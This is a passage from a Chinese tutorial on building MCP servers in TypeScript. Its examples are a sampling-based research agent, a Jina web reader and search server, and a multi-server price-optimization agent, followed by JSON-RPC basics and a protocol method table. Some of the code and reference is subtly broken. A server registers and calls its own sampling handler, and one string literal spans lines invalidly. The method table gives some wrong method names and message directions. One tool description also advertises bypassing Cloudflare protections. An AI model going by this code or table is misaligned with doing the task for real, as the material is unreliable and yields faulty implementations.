│ │ 处理生成内容 │ │
│ │ - 存储 │ │
│ │ - 显示 │ │
│ │ - 进一步处理│ │
│ └─────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
#### 3.5.2 采样Server实现
```typescript
/**
* 智能研究Agent - 展示采样能力
*
* 使用采样功能实现:
* - 自动生成搜索查询
* - 总结研究结果
* - 规划下一步行动
*/
class ResearchAgentServer extends BaseMCPServer {
private searchResults: Array<{ title: string; content: string }> = [];
constructor() {
super({
name: 'research-agent',
version: '1.0.0',
transport: 'stdio',
verbose: true,
});
this.registerTools();
this.registerSamplingHandler();
}
/**
* 注册采样处理器
*
* 采样允许Server主动调用LLM进行内容生成
*/
private registerSamplingHandler() {
this.server.setRequestHandler(
{ method: 'sampling/createMessage' },
async ({ params }) => {
const {
systemPrompt = '你是一个有帮助的AI助手。',
messages,
temperature = 0.7,
maxTokens = 4096,
stopSequences = [],
} = params;
console.log('[Sampling] 请求LLM生成...');
console.log(` 温度: ${temperature}`);
console.log(` 最大令牌: ${maxTokens}`);
// 实际实现中,这里会调用LLM API
// 以下是模拟实现
const generatedContent = await this.callLLM({
systemPrompt,
messages,
temperature,
maxTokens,
});
console.log('[Sampling] LLM生成完成');
return {
model: 'claude-3-5-sonnet-20240620',
role: 'assistant',
content: [
{
type: 'text',
text: generatedContent,
},
],
stopReason: 'endTurn',
};
}
);
}
/**
* 注册研究工具
*/
private registerTools() {
// 深度研究工具
this.registerTool(
'deep_research',
'执行深度研究任务,自动搜索、分析和总结信息。适用于:
- 主题调研
- 市场分析
- 技术评估
- 竞品分析',
z.object({
topic: z.string().describe('研究主题'),
depth: z.enum(['quick', 'standard', 'deep']).default('standard')
.describe('研究深度'),
sources: z.number().min(1).max(20).default(5)
.describe('信息源数量'),
}),
async ({ topic, depth, sources }) => {
console.log(`开始研究: ${topic} (深度: ${depth})`);
// 步骤1:使用采样生成搜索查询
const searchQueries = await this.generateSearchQueries(topic);
console.log(`生成搜索查询: ${searchQueries.length}个`);
// 步骤2:执行搜索(模拟)
const results = await this.performSearch(searchQueries.slice(0, sources));
// 步骤3:使用采样总结结果
const summary = await this.summarizeResults(topic, results);
// 存储结果
this.searchResults = results;
return {
content: [
{
type: 'text',
text: `# ${topic} 研究报告
## 研究深度: ${depth}
## 信息源数量: ${results.length}
${summary}
## 信息来源
${results.map((r, i) => `${i + 1}. ${r.title}`).join('\n')}
`,
},
],
};
}
);
// 继续研究工具
this.registerTool(
'continue_research',
'基于之前的研究继续深入探索',
z.object({
focusAreas: z.array(z.string()).describe('需要深入的重点领域'),
}),
async ({ focusAreas }) => {
if (this.searchResults.length === 0) {
return {
content: [{ type: 'text', text: '请先执行深度研究' }],
isError: true,
};
}
// 使用采样进行深入分析
const analysis = await this.analyzeFocusAreas(focusAreas);
return {
content: [
{
type: 'text',
text: `## 重点领域深入分析
${analysis}
`,
},
],
};
}
);
}
/**
* 生成搜索查询(使用采样)
*/
private async generateSearchQueries(topic: string): Promise<string[]> {
// 在实际实现中,这会通过sampling handler调用LLM
const response = await this.server.request(
{ method: 'sampling/createMessage' },
{
params: {
messages: [
{
role: 'user',
content: [
{
type: 'text',
text: `为研究主题 "${topic}" 生成5个有效的搜索查询。
请生成多样化的查询,覆盖:
1. 核心概念
2. 最新发展
3. 实践应用
4. 挑战和问题
5. 未来趋势
只返回查询列表,每行一个,不要编号。`,
},
],
},
],
systemPrompt: '你是一个专业的搜索策略专家。',
temperature: 0.7,
maxTokens: 500,
},
}
);
return response.content[0].text.split('\n').filter(Boolean);
}
/**
* 执行搜索(模拟)
*/
private async performSearch(queries: string[]): Promise<Array<{ title: string; content: string }>> {
// 实际实现中,这里会调用搜索API
return queries.map((query, i) => ({
title: `关于"${query}"的研究结果 ${i + 1}`,
content: `这是关于"${query}"的详细内容...`,
}));
}
/**
* 总结结果(使用采样)
*/
private async summarizeResults(
topic: string,
results: Array<{ title: string; content: string }>
): Promise<string> {
const response = await this.server.request(
{ method: 'sampling/createMessage' },
{
params: {
messages: [
{
role: 'user',
content: [
{
type: 'text',
text: `请总结以下关于"${topic}"的研究结果:
${results.map((r, i) => `[${i + 1}] ${r.title}\n${r.content}`).join('\n\n')}
请提供:
1. 核心发现(3-5点)
2. 关键洞察
3. 实用建议`,
},
],
},
],
systemPrompt: '你是一个专业的研究分析师,擅长从多个信息源提取关键洞察。',
temperature: 0.5,
maxTokens: 2000,
},
}
);
return response.content[0].text;
}
/**
* 分析重点领域(使用采样)
*/
private async analyzeFocusAreas(focusAreas: string[]): Promise<string> {
const response = await this.server.request(
{ method: 'sampling/createMessage' },
{
params: {
messages: [
{
role: 'user',
content: [
{
type: 'text',
text: `基于之前的研究结果,深入分析以下重点领域:
${focusAreas.map((area, i) => `${i + 1}. ${area}`).join('\n')}
请对每个领域提供:
- 详细分析
- 具体案例或数据
- 实际应用建议`,
},
],
},
],
systemPrompt: '你是一个专业的研究分析师,擅长深入分析和提出建议。',
temperature: 0.6,
maxTokens: 3000,
},
}
);
return response.content[0].text;
}
/**
* 调用LLM(实际实现中会调用真实API)
*/
private async callLLM(params: {
systemPrompt: string;
messages: Array<{ role: string; content: Array<{ type: string; text: string }> }>;
temperature: number;
maxTokens: number;
}): Promise<string> {
// 这里是占位实现
// 实际实现中会调用Claude/GPT等API
console.log('[LLM Call] 模拟LLM调用');
return '这是模拟的LLM响应。';
}
}
```
---
## 四、应用场景与实战案例
### 4.1 场景一:Jina MCP远程服务器
Jina AI提供了基于MCP协议的网络内容获取服务,是目前最流行的远程MCP Server之一。
#### 4.1.1 Jina MCP架构
```
┌─────────────────────────────────────────────────────────────────────────┐
│ Jina MCP 远程服务器架构 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ Jina MCP Server │ │
│ │ │ │
│ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ │
│ │ │ Reader │ │ Search │ │ Summarizer │ │ │
│ │ │ 全文读取 │ │ 语义搜索 │ │ 智能摘要 │ │ │
│ │ └──────────────┘ └──────────────┘ └──────────────┘ │ │
│ │ │ │
│ │ Jina Reader API ──────▶ 网页抓取 + 内容提取 │ │
│ │ Jina Reader API ──────▶ HTML → Markdown 转换 │ │
│ │ Jina Reader API ──────▶ 提取标题/作者/发布时间 │ │
│ │ │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ HTTP/SSE 传输 │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ AI应用层 │ │
│ │ │ │
│ │ Claude ──▶ 获取网页内容 ──▶ 分析 ──▶ 回答用户问题 │ │
│ │ Cursor ──▶ 读取文档 ──▶ 代码参考 │ │
│ │ Agent ──▶ 研究任务 ──▶ 信息收集 │ │
│ │ │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
#### 4.1.2 Jina MCP Server实现
```typescript
/**
* Jina MCP Server - 完整实现
*
* 提供功能:
* - jina_reader: 读取任意URL并转换为Markdown
* - jina_search: 语义搜索
* - jina_summarize: 智能摘要生成
*/
import { z } from 'zod';
/**
* Jina API 配置
*/
interface JinaConfig {
apiKey: string;
baseUrl: string;
timeout: number;
}
/**
* Jina MCP Server
*/
class JinaMCPServer extends BaseMCPServer {
private config: JinaConfig;
constructor() {
const apiKey = process.env.JINA_API_KEY;
if (!apiKey) {
console.warn('警告:未设置JINA_API_KEY,某些功能可能受限');
}
super({
name: 'jina-mcp-server',
version: '1.0.0',
transport: 'stdio',
verbose: true,
});
this.config = {
apiKey: apiKey || '',
baseUrl: 'https://r.jina.ai',
timeout: 30000,
};
this.registerTools();
this.registerPrompts();
}
/**
* 注册所有工具
*/
private registerTools() {
// 工具1:读取网页内容
this.registerTool(
'jina_reader',
`使用Jina Reader读取任意URL的内容。
功能:
- 自动抓取网页内容
- 将HTML转换为干净的Markdown
- 提取元数据(标题、作者、发布时间)
- 处理JavaScript渲染的内容
- 绕过Cloudflare等保护
适用场景:
- 读取技术文档
- 获取新闻文章
- 提取论坛内容
- 抓取API文档`,
z.object({
url: z.string().url().describe('要读取的网页URL'),
options: z.object({
includeImages: z.boolean().default(false)
.describe('是否在Markdown中包含图片'),
includeMetadata: z.boolean().default(true)
.describe('是否包含元数据'),
timeout: z.number().default(30000)
.describe('超时时间(毫秒)'),
maxLength: z.number().default(50000)
.describe('最大内容长度'),
}).optional(),
}),
async ({ url, options }) => {
console.log(`[Jina Reader] 读取: ${url}`);
try {
// 调用Jina Reader API
const response = await this.fetchWithJina(url, {
format: 'markdown',
includeImages: options?.includeImages ?? false,
});
// 提取元数据
const metadata = options?.includeMetadata ?? true
? await this.extractMetadata(url)
: null;
// 构建结果
let result = response.content;
// 截断过长内容
const maxLength = options?.maxLength ?? 50000;
if (result.length > maxLength) {
result = result.substring(0, maxLength) +
`\n\n[内容已截断,原文超过 ${maxLength} 字符]`;
}
// 格式化输出
const output = metadata
? `# ${metadata.title}\n\n` +
`> 来源: ${url}\n` +
`> ${metadata.author ? `作者: ${metadata.author}` : ''}\n` +
`${metadata.date ? `> 日期: ${metadata.date}` : ''}\n\n` +
`---\n\n` +
result
: result;
return {
content: [{ type: 'text', text: output }],
meta: {
url,
title: metadata?.title,
fetchedAt: new Date().toISOString(),
},
};
} catch (error: any) {
console.error(`[Jina Reader] 错误: ${error.message}`);
return {
content: [{
type: 'text',
text: `无法读取网页内容: ${error.message}\n\n建议:\n` +
`1. 检查URL是否正确\n` +
`2. 确认网页可公开访问\n` +
`3. 尝试稍后重试`,
}],
isError: true,
};
}
}
);
// 工具2:语义搜索
this.registerTool(
'jina_search',
`使用Jina AI进行语义搜索。
功能:
- 基于语义理解的搜索
- 返回结构化的搜索结果
- 支持高级搜索语法
- 提供相关性评分
适用场景:
- 寻找相关技术文档
- 搜索解决方案
- 发现最佳实践
- 市场调研`,
z.object({
query: z.string().min(1).max(500)
.describe('搜索查询'),
numResults: z.number().min(1).max(20).default(10)
.describe('返回结果数量'),
site: z.string().optional()
.describe('限定搜索的网站'),
recencyDays: z.number().optional()
.describe('限制为最近N天内的结果'),
}),
async ({ query, numResults, site, recencyDays }) => {
console.log(`[Jina Search] 查询: ${query}`);
try {
// 构建搜索URL
let searchUrl = `https://s.jina.ai/${encodeURIComponent(query)}`;
const params = new URLSearchParams();
params.set('numResults', numResults.toString());
if (site) {
params.set('site', site);
}
if (recencyDays) {
params.set('recencyDays', recencyDays.toString());
}
searchUrl += `?${params.toString()}`;
// 调用搜索API
const results = await this.performSearch(searchUrl);
// 格式化结果
const formattedResults = results.map((result, index) =>
`${index + 1}. **${result.title}**\n` +
` URL: ${result.url}\n` +
` 摘要: ${result.snippet}\n` +
` 相关度: ${(result.score * 100).toFixed(1)}%\n`
).join('\n');
const summary = `## 搜索结果: "${query}"\n\n` +
`找到 ${results.length} 个相关结果:\n\n` +
formattedResults + '\n\n' +
`---\n*由 Jina AI 提供支持*`;
return {
content: [{ type: 'text', text: summary }],
};
} catch (error: any) {
console.error(`[Jina Search] 错误: ${error.message}`);
return {
content: [{
type: 'text',
text: `搜索失败: ${error.message}`,
}],
isError: true,
};
}
}
);
// 工具3:内容摘要
this.registerTool(
'jina_summarize',
`使用Jina AI对长内容进行智能摘要。
功能:
- 提取关键信息
- 生成简洁摘要
- 保留核心要点
- 支持多种摘要长度
适用场景:
- 长文章快速了解
- 会议记录摘要
- 文档快速预览
- 信息压缩`,
z.object({
content: z.string().describe('要摘要的内容'),
length: z.enum(['short', 'medium', 'long']).default('medium')
.describe('摘要长度'),
focus: z.string().optional()
.describe('摘要重点(如"技术细节"、"价格信息")'),
}),
async ({ content, length, focus }) => {
console.log(`[Jina Summarize] 摘要长度: ${length}`);
try {
// 调用Jina Summarizer API
const summary = await this.summarizeContent(content, {
length,
focus,
});
return {
content: [{
type: 'text',
text: `## 内容摘要 (${length})\n\n${summary}\n\n---\n*摘要由 Jina AI 生成*`,
}],
};
} catch (error: any) {
console.error(`[Jina Summarize] 错误: ${error.message}`);
return {
content: [{
type: 'text',
text: `摘要生成失败: ${error.message}`,
}],
isError: true,
};
}
}
);
}
/**
* 注册提示模板
*/
private registerPrompts() {
// 研究报告模板
this.registerPrompt(
'research_report',
'生成结构化的研究报告',
[
{
name: 'topic',
description: '研究主题',
required: true,
},
{
name: 'depth',
description: '研究深度',
required: false,
},
],
async ({ topic, depth }) => {
return [
{
role: 'user',
content: [{
type: 'text',
text: `请为以下主题生成一份研究报告:
主题:${topic}
深度:${depth || '标准'}
报告结构:
1. 执行摘要
2. 背景介绍
3. 核心分析
4. 主要发现
5. 建议与结论
请使用Jina Reader获取相关信息,确保内容准确、有据可查。`,
}],
},
];
}
);
}
/**
* 使用Jina Reader获取网页
*/
private async fetchWithJina(
url: string,
options: { format: string; includeImages?: boolean }
): Promise<{ content: string }> {
const fetchUrl = `${this.config.baseUrl}/${encodeURIComponent(url)}`;
const response = await fetch(fetchUrl, {
headers: {
'Accept': options.format === 'markdown' ? 'text/markdown' : 'text/html',
...(this.config.apiKey && { 'Authorization': `Bearer ${this.config.apiKey}` }),
},
signal: AbortSignal.timeout(this.config.timeout),
});
if (!response.ok) {
throw new Error(`HTTP ${response.status}: ${response.statusText}`);
}
const content = await response.text();
return { content };
}
/**
* 提取网页元数据
*/
private async extractMetadata(url: string): Promise<{
title: string;
author?: string;
date?: string;
}> {
try {
// 解析URL获取域名
const urlObj = new URL(url);
return {
title: urlObj.hostname,
author: undefined,
date: new Date().toLocaleDateString('zh-CN'),
};
} catch {
return { title: url };
}
}
/**
* 执行搜索
*/
private async performSearch(searchUrl: string): Promise<Array<{
title: string;
url: string;
snippet: string;
score: number;
}>> {
const response = await fetch(searchUrl, {
headers: {
'Accept': 'application/json',
...(this.config.apiKey && { 'Authorization': `Bearer ${this.config.apiKey}` }),
},
});
if (!response.ok) {
throw new Error(`搜索失败: HTTP ${response.status}`);
}
const data = await response.json();
return (data.results || []).map((result: any) => ({
title: result.title || '无标题',
url: result.url,
snippet: result.snippet || result.description || '',
score: result.score || 0.5,
}));
}
/**
* 摘要内容
*/
private async summarizeContent(
content: string,
options: { length: string; focus?: string }
): Promise<string> {
// 简化实现:实际应调用Jina Summarizer API
const maxLengths = {
short: 100,
medium: 300,
long: 500,
};
const maxLength = maxLengths[options.length as keyof typeof maxLengths] || 300;
// 简单的截断摘要
const sentences = content.split(/[.!?]+/).filter(s => s.trim());
let summary = '';
let currentLength = 0;
for (const sentence of sentences) {
if (currentLength + sentence.length > maxLength) {
break;
}
summary += sentence + '. ';
currentLength += sentence.length;
}
return summary.trim() || content.substring(0, maxLength) + '...';
}
}
// 启动服务器
const server = new JinaMCPServer();
server.start().catch(console.error);
```
### 4.2 场景二:价格优化Agent
使用MCP构建一个能够监控竞品价格并提供优化建议的智能Agent。
#### 4.2.1 价格优化Agent架构
```
┌─────────────────────────────────────────────────────────────────────────┐
│ 价格优化Agent架构 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 价格优化Agent (MCP Client) │ │
│ │ │ │
│ │ 用户查询 ──▶ 理解意图 ──▶ 制定计划 ──▶ 调用工具 │ │
│ │ │ │ │
│ │ ▼ │ │
│ │ ┌────────────────┐ │ │
│ │ │ 任务规划器 │ │ │
│ │ │ - 价格监控 │ │ │
│ │ │ - 竞品分析 │ │ │
│ │ │ - 定价优化 │ │ │
│ │ └────────────────┘ │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ┌──────────────────────────┼──────────────────────────┐ │
│ ▼ ▼ ▼ │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ Web Scraper │ │ Database │ │ Analytics │ │
│ │ MCP Server │ │ MCP Server │ │ MCP Server │ │
│ │ │ │ │ │ │ │
│ │ - 抓取竞品 │ │ - 查询历史 │ │ - 趋势分析 │ │
│ │ - 价格追踪 │ │ - 存储数据 │ │ - 价格弹性 │ │
│ │ - 库存监控 │ │ - 生成报表 │ │ - 优化建议 │ │
│ └─────────────┘ └─────────────┘ └─────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
#### 4.2.2 完整实现
```typescript
/**
* 价格优化Agent - 完整实现
*
* 核心功能:
* 1. 竞品价格监控
* 2. 价格历史分析
* 3. 智能定价建议
* 4. 动态价格调整
*/
import { z } from 'zod';
/**
* 产品价格信息
*/
interface PriceInfo {
productId: string;
productName: string;
currentPrice: number;
originalPrice: number;
currency: string;
discount: number;
timestamp: Date;
source: string;
}
/**
* 价格分析结果
*/
interface PriceAnalysis {
productId: string;
currentPrice: number;
competitors: Array<{
name: string;
price: number;
difference: number;
percentage: number;
}>;
demandIndicator: 'high' | 'medium' | 'low';
recommendedPrice: number;
confidence: number;
reasons: string[];
}
/**
* Web Scraper MCP Server
*/
class WebScraperMCPServer extends BaseMCPServer {
constructor() {
super({
name: 'web-scraper',
version: '1.0.0',
transport: 'stdio',
});
this.registerTools();
}
private registerTools() {
// 抓取竞品价格
this.registerTool(
'scrape_competitor_prices',
'抓取竞争对手网站的产品价格',
z.object({
competitor: z.enum(['amazon', 'jd', 'taobao', 'pdd', 'tmall'])
.describe('竞争平台'),
productKeywords: z.string().describe('产品关键词'),
maxResults: z.number().default(10).describe('最大结果数'),
}),
async ({ competitor, productKeywords, maxResults }) => {
// 实际实现中会调用对应平台的API或爬虫
const mockResults = this.generateMockPriceData(competitor, productKeywords, maxResults);
return {
content: [{
type: 'text',
text: JSON.stringify(mockResults, null, 2),
}],
};
}
);
// 监控价格变动
this.registerTool(
'monitor_price_change',
'设置价格监控,当价格变动时通知',
z.object({
productUrl: z.string().url().describe('产品页面URL'),
targetPrice: z.number().optional().describe('目标价格(可选)'),
notifyOnDrop: z.boolean().default(true).describe('降价时通知'),
}),
async ({ productUrl, targetPrice, notifyOnDrop }) => {
return {
content: [{
type: 'text',
text: `价格监控已设置:\n` +
`- 产品: ${productUrl}\n` +
`- 目标价格: ${targetPrice || '未设置'}\n` +
`- 降价通知: ${notifyOnDrop ? '开启' : '关闭'}`,
}],
};
}
);
}
private generateMockPriceData(competitor: string, keywords: string, count: number) {
return Array.from({ length: count }, (_, i) => ({
productName: `${keywords} 产品 ${i + 1}`,
price: Math.round((Math.random() * 500 + 50) * 100) / 100,
originalPrice: Math.round((Math.random() * 800 + 100) * 100) / 100,
discount: Math.round(Math.random() * 30 + 10),
seller: `${competitor} 卖家${i + 1}`,
rating: Math.round((Math.random() * 2 + 3) * 10) / 10,
reviews: Math.floor(Math.random() * 10000),
url: `https://${competitor}.com/product/${i + 1}`,
}));
}
}
/**
* Database MCP Server - 价格数据存储和分析
*/
class PriceDatabaseMCPServer extends BaseMCPServer {
private prices: Map<string, PriceInfo[]> = new Map();
constructor() {
super({
name: 'price-database',
version: '1.0.0',
transport: 'stdio',
});
this.registerTools();
}
private registerTools() {
// 存储价格数据
this.registerTool(
'store_price_data',
'存储价格数据用于后续分析',
z.object({
productId: z.string().describe('产品ID'),
productName: z.string().describe('产品名称'),
currentPrice: z.number().positive().describe('当前价格'),
originalPrice: z.number().positive().describe('原价'),
currency: z.string().default('CNY').describe('货币类型'),
source: z.string().describe('数据来源'),
}),
async ({ productId, productName, currentPrice, originalPrice, currency, source }) => {
const priceInfo: PriceInfo = {
productId,
productName,
currentPrice,
originalPrice,
currency,
discount: Math.round((1 - currentPrice / originalPrice) * 100),
timestamp: new Date(),
source,
};
if (!this.prices.has(productId)) {
this.prices.set(productId, []);
}
this.prices.get(productId)!.push(priceInfo);
return {
content: [{
type: 'text',
text: `价格数据已存储:\n- 产品: ${productName}\n- 价格: ${currentPrice} ${currency}\n- 折扣: ${priceInfo.discount}%`,
}],
};
}
);
// 查询价格历史
this.registerTool(
'query_price_history',
'查询产品的价格历史记录',
z.object({
productId: z.string().describe('产品ID'),
days: z.number().default(30).describe('查询天数'),
}),
async ({ productId, days }) => {
const history = this.prices.get(productId) || [];
const cutoffDate = new Date();
cutoffDate.setDate(cutoffDate.getDate() - days);
const filteredHistory = history.filter(p => p.timestamp >= cutoffDate);
if (filteredHistory.length === 0) {
return {
content: [{
type: 'text',
text: `未找到产品 ${productId} 在过去 ${days} 天的价格数据`,
}],
};
}
const stats = {
productId,
period: `最近${days}天`,
dataPoints: filteredHistory.length,
minPrice: Math.min(...filteredHistory.map(p => p.currentPrice)),
maxPrice: Math.max(...filteredHistory.map(p => p.currentPrice)),
avgPrice: Math.round(
filteredHistory.reduce((sum, p) => sum + p.currentPrice, 0) / filteredHistory.length * 100
) / 100,
priceTrend: this.calculateTrend(filteredHistory),
history: filteredHistory.map(p => ({
date: p.timestamp.toISOString(),
price: p.currentPrice,
source: p.source,
})),
};
return {
content: [{
type: 'text',
text: JSON.stringify(stats, null, 2),
}],
};
}
);
// 生成价格报告
this.registerTool(
'generate_price_report',
'生成价格分析报告',
z.object({
productIds: z.array(z.string()).describe('产品ID列表'),
includeCompetitors: z.boolean().default(true).describe('是否包含竞品分析'),
}),
async ({ productIds, includeCompetitors }) => {
const report = {
generatedAt: new Date().toISOString(),
products: productIds.map(id => {
const history = this.prices.get(id) || [];
if (history.length === 0) {
return { productId: id, status: '无数据' };
}
const latest = history[history.length - 1];
return {
productId: id,
productName: latest.productName,
currentPrice: latest.currentPrice,
lowestPrice: Math.min(...history.map(p => p.currentPrice)),
highestPrice: Math.max(...history.map(p => p.currentPrice)),
avgPrice: Math.round(
history.reduce((sum, p) => sum + p.currentPrice, 0) / history.length * 100
) / 100,
trend: this.calculateTrend(history),
recommendation: this.generateRecommendation(history),
};
}),
};
return {
content: [{
type: 'text',
text: JSON.stringify(report, null, 2),
}],
};
}
);
}
private calculateTrend(history: PriceInfo[]): 'rising' | 'stable' | 'falling' {
if (history.length < 2) return 'stable';
const recentPrices = history.slice(-5);
const first = recentPrices[0].currentPrice;
const last = recentPrices[recentPrices.length - 1].currentPrice;
const change = (last - first) / first;
if (change > 0.05) return 'rising';
if (change < -0.05) return 'falling';
return 'stable';
}
private generateRecommendation(history: PriceInfo[]): string {
const trend = this.calculateTrend(history);
if (trend === 'rising') {
return '建议:价格呈上升趋势,可考虑适当上调';
} else if (trend === 'falling') {
return '建议:价格呈下降趋势,可考虑促销刺激需求';
} else {
return '建议:价格稳定,维持当前定价策略';
}
}
}
/**
* Analytics MCP Server - 价格分析和优化
*/
class PriceAnalyticsMCPServer extends BaseMCPServer {
constructor() {
super({
name: 'price-analytics',
version: '1.0.0',
transport: 'stdio',
});
this.registerTools();
}
private registerTools() {
// 分析价格竞争力
this.registerTool(
'analyze_price_competitiveness',
'分析产品相对于竞品的定价竞争力',
z.object({
productId: z.string().describe('产品ID'),
myPrice: z.number().positive().describe('我方价格'),
competitorPrices: z.array(z.object({
name: z.string().describe('竞品名称'),
price: z.number().positive().describe('竞品价格'),
})).describe('竞品价格列表'),
}),
async ({ productId, myPrice, competitorPrices }) => {
const avgCompetitorPrice = competitorPrices.reduce((sum, c) => sum + c.price, 0) / competitorPrices.length;
const minCompetitorPrice = Math.min(...competitorPrices.map(c => c.price));
const maxCompetitorPrice = Math.max(...competitorPrices.map(c => c.price));
const difference = myPrice - avgCompetitorPrice;
const percentage = (difference / avgCompetitorPrice) * 100;
let competitiveness: 'very_high' | 'high' | 'medium' | 'low';
let recommendation: string;
if (percentage < -10) {
competitiveness = 'very_high';
recommendation = '定价显著低于市场,可适当上调以提升利润';
} else if (percentage < 0) {
competitiveness = 'high';
recommendation = '定价具有竞争力,考虑保持当前价格';
} else if (percentage < 10) {
competitiveness = 'medium';
recommendation = '定价略高于市场,建议关注竞品动向';
} else {
competitiveness = 'low';
recommendation = '定价显著高于市场,建议降价以提升竞争力';
}
const analysis: PriceAnalysis = {
productId,
currentPrice: myPrice,
competitors: competitorPrices.map(c => ({
name: c.name,
price: c.price,
difference: c.price - myPrice,
percentage: ((c.price - myPrice) / myPrice) * 100,
})),
demandIndicator: 'medium',
recommendedPrice: Math.round(avgCompetitorPrice * 100) / 100,
confidence: 0.85,
reasons: [
`平均竞品价格: ${avgCompetitorPrice.toFixed(2)}`,
`最低竞品价格: ${minCompetitorPrice.toFixed(2)}`,
`最高竞品价格: ${maxCompetitorPrice.toFixed(2)}`,
`与市场均价差异: ${percentage.toFixed(1)}%`,
],
};
return {
content: [{
type: 'text',
text: `# 价格竞争力分析\n\n` +
`## 竞争力评级: ${competitiveness}\n\n` +
`## 竞品对比\n` +
`| 竞品 | 价格 | 差异 |\n` +
`|------|------|------|\n` +
competitorPrices.map(c =>
`| ${c.name} | ${c.price} | ${(c.price - myPrice) > 0 ? '+' : ''}${(c.price - myPrice).toFixed(2)} |`
).join('\n') +
`\n\n## 分析结果\n` +
`- 你的价格: ${myPrice}\n` +
`- 市场均价: ${avgCompetitorPrice.toFixed(2)}\n` +
`- 差异: ${percentage > 0 ? '+' : ''}${percentage.toFixed(1)}%\n\n` +
`## 建议\n${recommendation}\n` +
`\n---\n建议价格: ${analysis.recommendedPrice} (基于市场均价)`,
}],
};
}
);
// 计算最优价格
this.registerTool(
'calculate_optimal_price',
'基于价格弹性和成本计算最优价格',
z.object({
productId: z.string().describe('产品ID'),
cost: z.number().positive().describe('产品成本'),
currentPrice: z.number().positive().describe('当前价格'),
targetMargin: z.number().min(0).max(100).default(30)
.describe('目标利润率(百分比)'),
priceRange: z.object({
min: z.number().positive().describe('最低价格'),
max: z.number().positive().describe('最高价格'),
}).describe('价格范围'),
}),
async ({ productId, cost, currentPrice, targetMargin, priceRange }) => {
// 模拟价格弹性分析
// 实际实现中会使用历史销售数据和机器学习模型
const targetPrice = cost * (1 + targetMargin / 100);
// 计算在不同价格点的预期收益
const pricePoints = [];
const step = (priceRange.max - priceRange.min) / 10;
for (let price = priceRange.min; price <= priceRange.max; price += step) {
const expectedVolume = Math.max(0, 100 - (price - priceRange.min) / step * 10);
const revenue = price * expectedVolume;
const profit = (price - cost) * expectedVolume;
pricePoints.push({
price: Math.round(price * 100) / 100,
expectedVolume: Math.round(expectedVolume),
revenue: Math.round(revenue * 100) / 100,
profit: Math.round(profit * 100) / 100,
margin: Math.round((price - cost) / price * 100),
});
}
// 找出最优价格
const optimal = pricePoints.reduce((best, current) =>
current.profit > best.profit ? current : best
);
return {
content: [{
type: 'text',
text: `# 最优价格计算\n\n` +
`## 产品信息\n` +
`- 产品ID: ${productId}\n` +
`- 成本: ${cost}\n` +
`- 当前价格: ${currentPrice}\n` +
`- 目标利润率: ${targetMargin}%\n\n` +
`## 最优价格分析\n` +
`- 目标价格: ${targetPrice.toFixed(2)}\n` +
`- 最优价格: ${optimal.price}\n` +
`- 预期销量: ${optimal.expectedVolume}\n` +
`- 预期利润: ${optimal.profit}\n` +
`- 利润率: ${optimal.margin}%\n\n` +
`## 价格-利润对照表\n` +
`| 价格 | 预期销量 | 收入 | 利润 | 利润率 |\n` +
`|------|---------|------|------|--------|\n` +
pricePoints.map(p =>
`| ${p.price} | ${p.expectedVolume} | ${p.revenue} | ${p.profit} | ${p.margin}% |`
).join('\n') +
`\n\n## 建议\n当前价格 ${currentPrice} ${currentPrice <= optimal.price ? '低于' : '高于'} 最优价格。` +
`建议调整至 ${optimal.price} 以获得最大利润。`,
}],
};
}
);
}
}
```
---
## 五、协议通信原理
### 5.1 JSON-RPC 2.0基础
MCP底层使用JSON-RPC 2.0作为通信协议,这是一种轻量级的远程过程调用协议。
```typescript
/**
* JSON-RPC 2.0 消息类型定义
*/
// 请求消息
interface JSONRPCRequest {
/** JSON-RPC版本,必须是 "2.0" */
jsonrpc: "2.0";
/** 方法名 */
method: string;
/** 方法参数(对象或数组) */
params?: Record<string, unknown> | unknown[];
/** 请求ID,用于匹配响应 */
id: string | number;
}
// 响应消息 - 成功
interface JSONRPCSuccessResponse {
jsonrpc: "2.0";
/** 响应结果 */
result: unknown;
/** 对应请求的ID */
id: string | number;
}
// 响应消息 - 错误
interface JSONRPCErrorResponse {
jsonrpc: "2.0";
/** 错误对象 */
error: {
/** 错误代码 */
code: number;
/** 错误消息 */
message: string;
/** 附加数据 */
data?: unknown;
};
/** 对应请求的ID */
id: string | number;
}
// 通知消息(无响应)
interface JSONRPCNotification {
jsonrpc: "2.0";
method: string;
params?: Record<string, unknown>;
}
/**
* JSON-RPC 错误代码
*/
enum JSONRPCErrorCode {
// 解析错误 - 无效的JSON
ParseError = -32700,
// 无效请求 - JSON有效但不是有效请求
InvalidRequest = -32600,
// 方法不存在
MethodNotFound = -32601,
// 无效参数
InvalidParams = -32602,
// 内部错误
InternalError = -32603,
// 服务器错误(-32000 到 -32099)
ServerError = -32000,
}
```
### 5.2 核心协议方法一览
| 方法 | 方向 | 描述 | 参数 |
|------|------|------|------|
| `initialize` | Client→Server | 初始化连接,交换版本信息 | protocolVersion, capabilities, clientInfo |
| `initialized` | Client→Server | 握手完成通知 | - |
| `tools/list` | Client→Server | 获取可用工具列表 | - |
| `tools/call` | Client→Server | 调用指定工具 | name, arguments |
| `tools/updated` | Server→Client | 工具列表更新通知 | - |
| `resources/list` | Client→Server | 获取可用资源列表 | - |
| `resources/read` | Client→Server | 读取资源内容 | uri |
| `resources/subscribe` | Client→Server | 订阅资源变更 | uri |
| `resources/unsubscribe` | Client→Server | 取消订阅 | uri |
| `resources/updated` | Server→Client | 资源变更通知 | uri |
| `prompts/list` | Client→Server | 获取可用提示模板 | - |
| `prompts/get` | Client→Server | 获取指定提示 | name, arguments |
| `sampling/createMessage` | Server→Client | 请求LLM生成 | messages, params |
| `roots/list` | Client→Server | 获取根目录列表 | - |
| `roots/list_changed` | Server→Client | 根目录变更通知 | - |
| `ping` | Client→Server | 连接测试 | - |
### 5.3 完整的通信流程
```
